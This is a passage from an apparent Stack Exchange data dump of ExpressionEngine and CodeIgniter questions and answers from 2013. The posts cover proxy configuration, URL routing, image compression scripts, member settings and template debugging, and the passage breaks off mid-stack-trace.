  <row Id="16963" PostTypeId="2" ParentId="14520" CreationDate="2013-11-20T22:32:20.587" Score="0" Body="&lt;p&gt;I've experienced these same symptoms with clients running a site on multiple servers behind a load balancer. When this is the case, you may need to whitelist the proxy IPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this in /system/expressionengine/config/config.php in the Reverse Proxy IPs section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;|--------------------------------------------------------------------------&#xA;| Reverse Proxy IPs&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If your server is behind a reverse proxy, you must whitelist the proxy IP&#xA;| addresses from which CodeIgniter should trust the HTTP_X_FORWARDED_FOR&#xA;| header in order to properly identify the visitor's IP address.&#xA;| Comma-delimited, e.g. '10.0.1.200,10.0.1.201'&#xA;|&#xA;*/&#xA;$config['proxy_ips'] = &quot;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="271" LastActivityDate="2013-11-20T22:32:20.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16964" PostTypeId="2" ParentId="15110" CreationDate="2013-11-20T22:33:21.270" Score="0" Body="&lt;p&gt;MSM switcher is encoded the current pages in base64 as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;page=Qz1jb250ZW50X3B1Ymxpc2h8TT1lbnRyeV9mb3JtfGNoYW5uZWxfaWQ9Mw__&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if to &lt;a href=&quot;http://www.base64decode.org/&quot; rel=&quot;nofollow&quot;&gt;decode&lt;/a&gt; it, we will get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C=content_publish|M=entry_form|channel_id=3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can coded your pages the same way, or the most simple way -  go to a specific channel edit page on Site 1, click on MSM menu and just copy the link for current site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no, this is not working because this function is commented in &lt;em&gt;system/expressionengine/controllers/cp/site.php  line 139 - 161&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;&quot;// Commenting this out for the time being, as I'm not pleased with how it's working&#xA;     // Depending on the page you're on, you can be hit with PHP errors.  So rather than&#xA;     // keeping this as is, we'll redirect to the CP homepage of the site switched to.&#xA;    // We should examine this in the future to see if a better experience for the end users&#xA;  // can be had.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     if ($this-&amp;gt;input-&amp;gt;get_post('page') !== FALSE &amp;amp;&amp;amp; &#xA;            preg_match('/^[a-z0-9\_]+$/iD', $this-&amp;gt;input-&amp;gt;get_post('page')))&#xA;     {&#xA;        $parts = explode('|', base64_decode(str_replace('_', '=', $this-&amp;gt;input-&amp;gt;get_post('page'))));&#xA;&#xA;        $page = BASE;&#xA;&#xA;        foreach($parts as $part)&#xA;        {&#xA;            if ($part == '' OR ! preg_match('/^[a-z0-9\_\=]+$/iD', $part))&#xA;            {&#xA;                continue;&#xA;            }&#xA;&#xA;            $page .= AMP.$part;&#xA;        }&#xA;     }&#xA;     else&#xA;     {&#xA;        $page = BASE;&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so I don't see way do this w/o uncommend this lines or write ext. which will do the same.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-21T20:33:38.463" LastActivityDate="2013-11-21T20:33:38.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16965" PostTypeId="2" ParentId="16960" CreationDate="2013-11-20T22:57:11.657" Score="1" Body="&lt;p&gt;I'm not sure what you mean when you say the &quot;blog works fine&quot; if the entries aren't showing up. But did you change &quot;exp:weblog&quot; in your templates to &quot;exp:channel&quot;?&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2013-11-20T22:57:11.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16966" PostTypeId="1" CreationDate="2013-11-20T23:27:19.023" Score="2" ViewCount="284" Body="&lt;p&gt;That title might be a little confusing (sorry) but I'm using Channel Images to run some galleries; the client is giving me jpegs that were saved at highest quality, so they are too large (about 1-1.5MB each). CI can compress all the images at a specified rate, but what I'm looking for instead is a variable compression rate, so that images will be saved at the highest quality that keeps them under 200kb (for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I want the images compressed to the point that they reach 200kb, and not more: highly saturated images would therefore be more compressed than simple images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to achieve this? I'm trying to make things a little simpler for one of my clients.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2013-12-02T03:29:21.740" Title="Possible to compress images to be not larger than certain size?" Tags="|image|channel-images|resize|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16967" PostTypeId="2" ParentId="16961" CreationDate="2013-11-21T00:31:00.117" Score="1" Body="&lt;p&gt;According to Gearhost &lt;a href=&quot;https://support.gearhost.com/hc/en-us/articles/200342625-php-ini-settings&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;, you can set a PHP.INI file per site. Using these docs, you can override the default PHP.INI settings. Create a file which shows the output of the phpinfo function to see what your current settings are. It's possible that PHP is set to output errors to a log file and not to display them on screen. This makes sense for a production site.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2013-11-21T00:31:00.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16968" PostTypeId="2" ParentId="16962" CreationDate="2013-11-21T00:37:35.923" Score="1" Body="&lt;p&gt;This appears to be a duplicate question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13494/channel-fields-error-after-updating-to-2-7&quot;&gt;Channel Fields Error After Updating to 2.7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the response to the first question, remove this add-on and use the standard file field-type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably a good idea to update everything or at least look into updates for everything in your third_party directory before you upgrade EE.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-11-21T00:37:35.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16969" PostTypeId="2" ParentId="16960" CreationDate="2013-11-21T01:12:02.917" Score="2" Body="&lt;p&gt;It appears the template you should be using is fullarticle_all_weblogs as opposed to fullarticle_all_channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://professor-murmann.info/index.php/weblog/fullarticle_all_weblogs/1161&quot; rel=&quot;nofollow&quot;&gt;http://professor-murmann.info/index.php/weblog/fullarticle_all_weblogs/1161&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vs &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://professor-murmann.info/index.php/weblog/fullarticle_all_channels/1161&quot; rel=&quot;nofollow&quot;&gt;http://professor-murmann.info/index.php/weblog/fullarticle_all_channels/1161&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2013-11-21T01:12:02.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16971" PostTypeId="2" ParentId="16950" CreationDate="2013-11-21T02:25:52.213" Score="0" Body="&lt;p&gt;I think your issue is caused by both sets using the same listing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The copy on the Low Reorder for Structure plugin page suggests that the listings need to be unique for this to work correctly. That's how I'm reading it. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This accessory will &lt;strong&gt;look for structure listings that are using Low&#xA;  Reorder sets&lt;/strong&gt;. If it finds a match it will add a &quot;Reorder&quot; link next to&#xA;  the &quot;Add or Edit&quot; links.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To change the default functionality, you'd need to hack the addon.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-21T02:25:52.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16972" PostTypeId="1" CreationDate="2013-11-21T02:40:40.343" Score="1" ViewCount="110" Body="&lt;p&gt;First, thanks in advance for any input or direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea how I might be able to receive entry updates by XML? Specifically, I'm looking to integrate ShipStation with CartThrob, particularly receiving shipping updates. More about the process can be found here, in the &quot;Receiving Shipping Notifications&quot; section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://app.shipstation.com/content/integration/ShipStationCustomStoreDevGuide.pdf&quot; rel=&quot;nofollow&quot;&gt;http://app.shipstation.com/content/integration/ShipStationCustomStoreDevGuide.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been digging into accomplishing this with EE's Channel Forms (aka Safecracker), but not sure if I'm on the right path. I also reached out to the developers of Data Grab, but it's not quite the right fit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could point me in the direction of a possible solution, I'd greatly appreciate getting moving down the right path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris&lt;/p&gt;&#xA;" OwnerUserId="2386" LastActivityDate="2013-11-21T05:44:25.837" Title="Update entry with XML post" Tags="|safecracker|cartthrob|xml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16973" PostTypeId="1" CreationDate="2013-11-21T02:50:14.673" Score="1" ViewCount="52" Body="&lt;p&gt;Is there a way to make a member which cannot be logged in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using it as some sort of a member placeholder for entries of members I want to delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want anyone be able to log-in as that member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this feature exist?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-21T19:53:29.520" Title="Make a member which cannot login" Tags="|members|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16974" PostTypeId="1" AcceptedAnswerId="17072" CreationDate="2013-11-21T04:21:23.867" Score="1" ViewCount="158" Body="&lt;p&gt;I've created a &lt;code&gt;/404.group/index.html&lt;/code&gt; that contains my desired 404 page. In &lt;code&gt;Design ‣ Templates ‣ Global Preferences&lt;/code&gt;, I've set my 404 to &lt;code&gt;404/index&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to domain.com/some-crazy-made-up-url, I do not get the 404 page. However, I do see it when I go to domain.com/404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I have Enable Strict URLs set to &quot;yes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-04-06T01:47:51.047" Title="404 - don't think it's working" Tags="|templates|404|" AnswerCount="2" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16975" PostTypeId="1" CreationDate="2013-11-21T05:06:24.387" Score="0" ViewCount="319" Body="&lt;p&gt;I'm having a problem with the inventory field in a product in cartthrob. For my product, there are color variations for each product and the inventory is assigned accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When displaying the products on the &quot;add to cart&quot; page, the cartthrob options tag will check for inventory and only display the color if it's in stock. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if the inventory reaches 0 on both color variations, the options will still show the product (with an empty select tag). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have this product not show up in my template logic if there is no inventory left for any of the variations? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options}&#xA;{if inventory !=0 }&#xA;&#xA;&amp;lt;select&amp;gt;&#xA;&amp;lt;option name=&quot;item_options[product_color]&quot; value=&quot;{option_value}&quot;&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;{/if}&#xA;&#xA;{/options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2zuED.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, if all inventory is at 0 in these product fields, I'd like a message to show the product is out of stock and not allow the add to cart functionality.&lt;/p&gt;&#xA;" OwnerUserId="2063" LastEditorUserId="2063" LastEditDate="2013-11-21T05:58:41.470" LastActivityDate="2013-11-21T05:58:41.470" Title="how to not show product if inventory is out in every option?" Tags="|cartthrob|shopping-cart|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16976" PostTypeId="2" ParentId="16972" CreationDate="2013-11-21T05:44:25.837" Score="2" Body="&lt;p&gt;DataGrab is the gold standard and was built for this. You can import XML at regularly scheduled intervals using Cron or via HTTP. Otherwise you'll have to build a custom add-on.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2013-11-21T05:44:25.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16977" PostTypeId="2" ParentId="16966" CreationDate="2013-11-21T05:52:56.613" Score="0" Body="&lt;p&gt;Try enforcing an upload limit and the different &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html&quot; rel=&quot;nofollow&quot;&gt;image manipulation settings&lt;/a&gt; on your upload directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjusting the output settings on the fly would be difficult to pull off. If you require more advanced manipulation, take a look at &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image from CausingEffect&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2013-11-21T05:52:56.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16978" PostTypeId="2" ParentId="16973" CreationDate="2013-11-21T05:55:12.547" Score="1" Body="&lt;p&gt;It sort of goes against the philosophy of having members to actually have 1 that cannot login. If your posts are member restricted then you'll need to have a member that you can assign them to with the same level of permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If security is an issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new member, assign them whatever group is required then set a monster 64 char password, don't record the password and move on.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-11-21T05:55:12.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16980" PostTypeId="1" CreationDate="2013-11-21T06:53:51.560" Score="1" ViewCount="8508" Body="&lt;p&gt;in htaccess or route.php where from you want you can give answer for this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Need some thing like this.if i have url :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tageto.pnf-sites.info/developer/headcategory_controller/head_category/Agriculture&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;than it must be replaced into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tageto.pnf-sites.info/developer/Agriculture&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if i have url like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tageto.pnf-sites.info/developer/headcategory_controller/sub_category/Rice&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;than it must be replaced into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tageto.pnf-sites.info/developer/Rice&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if i have url like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tageto.pnf-sites.info/developer/products/view_product/nokia-internet-stick-cs-17-hsdpa-144mbps-logo-nokia-black-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;than it must be replaced into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tageto.pnf-sites.info/developer/nokia-internet-stick-cs-17-hsdpa-144mbps-logo-nokia-black-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody solve my this issue? Please reply rapidly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;RewriteEngine On&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;  #  RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^(.*)$ index.php/$1 [L] &#xA;&#xA;To remove index.php i need all i mentioned above for url so that url becomes canonical.&lt;/p&gt;&#xA;" OwnerUserId="2387" LastEditorUserId="159" LastEditDate="2013-11-21T09:51:02.643" LastActivityDate="2018-03-29T10:33:29.657" Title="Replacing Controller and function name with attribute in Codeigniter?" Tags="|php|url-title|codeigniter|.htaccess|routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16982" PostTypeId="2" ParentId="16980" CreationDate="2013-11-21T07:34:00.697" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Control your URLs by remapping URI routes to a specific template, using CodeIgniter-style routing rules.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_routes'] = array(&#xA;    'blog/:category' =&amp;gt; 'site/blog-category',&#xA;    'blog/:year/:pagination' =&amp;gt; 'site/blog-yearly-archive',&#xA;    'blog/:any' =&amp;gt; 'site/blog-single',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-21T07:34:00.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16983" PostTypeId="2" ParentId="16966" CreationDate="2013-11-21T08:50:18.867" Score="3" Body="&lt;p&gt;As I know, is no EE add-ons which can completely help you to get what you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Upload file using any of exist EE add-ons, make manipulation with exist option (width, height, crop etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then setup on the server CRON job with batch which will run couple times per day and  check if new files in upload folder exist. For new files needs to run &lt;a href=&quot;http://www.kokkonen.net/tjko/src/man/jpegoptim.txt&quot; rel=&quot;nofollow&quot;&gt;jpegoptim&lt;/a&gt;  with key --size &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-S, --size=&amp;lt; size &gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Try to optimize file  to  given  size  (disables  lossless  opti-&#xA;              mizaiont mode). Target size is specified either in kilobytes (1 -&#xA;              n) or as percentage (1% - 99%) of the original file size.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;example of optimization script for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;declare -a iPath=('/home/user/site.com/public_html/images/upload');&#xA;lof_file=('/tmp/otimazer.log')&#xA;&#xA;start_time=$(date +%s)&#xA;&#xA;if [ -f $lof_file ];&#xA;then&#xA;    dt_mod=(&quot;-newer $lof_file&quot;)&#xA;else&#xA;    dt_mod=&quot;&quot;&#xA;fi&#xA;&#xA;for i in &quot;${iPath[@]}&quot;&#xA;do&#xA;    find $i  -iname &quot;*.j*g&quot; $dt_mod -type f | xargs jpegoptim --strip-all --size=200&#xA;done&#xA;&#xA;end_time=$(date +%s)&#xA;&#xA;duration=$(($end_time-$start_time))&#xA;&#xA;echo &quot;$(date +%Y-%m-%d-%H-%M-%S) : duration = $duration&quot; &amp;gt;&amp;gt; $lof_file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s.&#xA;For my clients servers I usually setup &lt;a href=&quot;https://github.com/imgo/imgo/wiki&quot; rel=&quot;nofollow&quot;&gt;IMGO&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-21T08:50:18.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16984" PostTypeId="2" ParentId="16940" CreationDate="2013-11-21T10:11:28.497" Score="2" Body="&lt;p&gt;Can you not just use the standard file field and set up a folder for backgrounds? Your client can then either select an already-uploaded image from the list of files, or upload a new one. You can restrict this field to one folder so there's no room for confusion and have it as a field in your pages channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you don't have two separate strands to the workflow (upload in one place, then select somewhere else).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I misunderstanding your needs?&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-11-21T10:11:28.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16985" PostTypeId="2" ParentId="16940" CreationDate="2013-11-21T10:25:12.003" Score="1" Body="&lt;p&gt;Yes, you can do this using any FT  which can retrieve data by query (for example SELECT+). But will be needed to save entry first after upload images to get it in select field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other way is to create this field (simple select + little bit JS coding). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But take attention on &lt;strong&gt;Penzizzle&lt;/strong&gt; advice - way which you choose is looks little bit unusual.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-21T10:25:12.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16986" PostTypeId="2" ParentId="16973" CreationDate="2013-11-21T11:15:00.447" Score="4" Body="&lt;p&gt;You can disable the access to the Control Panel to a Member Group if you want to: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#control-panel-access&quot; rel=&quot;nofollow&quot;&gt;Members &gt; members groups&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Banned Member Group&lt;/strong&gt;, for example, can't access the Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-11-21T19:53:29.520" LastActivityDate="2013-11-21T19:53:29.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16987" PostTypeId="1" CreationDate="2013-11-21T11:23:44.507" Score="0" ViewCount="36" Body="&lt;p&gt;Just a quick post to find out if something is possible or not within EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have been looking at the easiest way of trying to make certain blocks of code within our sites global. What we are doing is setting up the right column  to show all the components that would be available across the site i.e. Twitter, Social Media, Relationships etc so the user can choose what they want in each page. Sort of similar way as Drupal works if you see where I am coming from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set up checkboxes for Twitter and Social Media as they are not connected to channel fields but with Relationships you have to set up a channel field (generic-events or news-events etc) in each channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway of not having to set up a channel field in every channel or maybe there is a module that is out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this is clear enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-21T11:26:57.040" Title="Components based globally" Tags="|ee2|channel|multiple-channels|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16988" PostTypeId="2" ParentId="16987" CreationDate="2013-11-21T11:26:57.040" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; is what you want. A lot of us use it on every project as it allows for global variables with a user-friendly (ie, client-friendly) interface.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-21T11:26:57.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16990" PostTypeId="2" ParentId="16938" CreationDate="2013-11-21T12:36:36.747" Score="2" Body="&lt;p&gt;You should be able to run a conditional check on the modifier names along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifier_options}&#xA;&#xA;// Only output a particular modifier by name&#xA;{if option_name == 'my_name'} &#xA;    {option_name} {if price_mod_val} ({price_mod}) {/if}&#xA;{/if}&#xA;&#xA;{/modifier_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you limit the output to a particular modifier. You still need to wrap it in the &lt;code&gt;{modifier_options}&lt;/code&gt; loop but you can just wrap the whole section in this if you need to.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-11-21T12:36:36.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16991" PostTypeId="2" ParentId="14309" CreationDate="2013-11-21T13:30:28.907" Score="1" Body="&lt;p&gt;If you have read this question that I posted I thought I would let you know the issue was the install script we have to set up EE.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-21T13:30:28.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16992" PostTypeId="1" AcceptedAnswerId="16993" CreationDate="2013-11-21T14:34:55.930" Score="0" ViewCount="153" Body="&lt;p&gt;I'm trying to make a URL that will (eventually) print out JSON for jquery FullCalendar to use. I'm using Low Events to do this, but I'm having some trouble with getting the start and end dates from the url..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url itself is formatted like this &lt;code&gt;/ajax/events?start=1384869883&amp;amp;end=1385042714&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I have on that template is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries channel=&quot;events&quot; date_from=&quot;{exp:low_nice_date date=&quot;{get:start}&quot; format=&quot;%Y-%m-%d&quot;}&quot; date_to=&quot;{exp:low_nice_date date=&quot;{get:end}&quot; format=&quot;%Y-%m-%d&quot;}&quot; unit=&quot;custom&quot;}&#xA;    {entry_id}&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When turning on debugging, I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Exception' with message 'DateTime::__construct(): Failed to parse time string ({exp:low_nice_date date=) at position 0 ({): Unexpected character' in /home/user/public_html/example.com/system/expressionengine/third_party/low_events/libraries/Low_date.php on line 448 Exception: DateTime::__construct(): Failed to parse time string ({exp:low_nice_date date=) at position 0 ({): Unexpected character in /home/user/public_html/example.com/system/expressionengine/third_party/low_events/libraries/Low_date.php on line 448 Call Stack: 0.0003 693672 1. {main}() /home/user/public_html/example.com/index.php:0 0.0008 777272 2. require_once('/home/user/public_html/example.com/system/codeigniter/system/core/CodeIgniter.php') /home/user/public_html/example.com/index.php:188 0.2111 16059624 3. call_user_func_array() /home/user/public_html/example.com/system/codeigniter/system/core/CodeIgniter.php:319 0.2111 16059760 4. EE-&amp;gt;index() /home/user/public_html/example.com/system/codeigniter/system/core/CodeIgniter.php:0 0.2111 16059840 5. EE_Core-&amp;gt;generate_page() /home/user/public_html/example.com/system/expressionengine/controllers/ee.php:68 0.2201 17906008 6. EE_Template-&amp;gt;run_template_engine() /home/user/public_html/example.com/system/expressionengine/libraries/Core.php:693 0.2209 17999968 7. EE_Template-&amp;gt;fetch_and_parse() /home/user/public_html/example.com/system/expressionengine/libraries/Template.php:184 0.2608 19299776 8. EE_Template-&amp;gt;parse() /home/user/public_html/example.com/system/expressionengine/libraries/Template.php:236 0.2627 19306040 9. EE_Template-&amp;gt;tags() /home/user/public_html/example.com/system/expressionengine/libraries/Template.php:462 0.3258 19327744 10. EE_Template-&amp;gt;process_tags() /home/user/public_html/example.com/system/expressionengine/libraries/Template.php:928 0.3605 25814976 11. Low_events-&amp;gt;entries() /home/user/public_html/example.com/system/expressionengine/libraries/Template.php:1308 0.3605 25815056 12. Low_events-&amp;gt;_init_date() /home/user/public_html/example.com/system/expressionengine/third_party/low_events/mod.low_events.php:174 0.3606 25815320 13. Low_date-&amp;gt;init() /home/user/public_html/example.com/system/expressionengine/third_party/low_events/mod.low_events.php:1487 0.3606 25815712 14. Low_date-&amp;gt;_from_string() 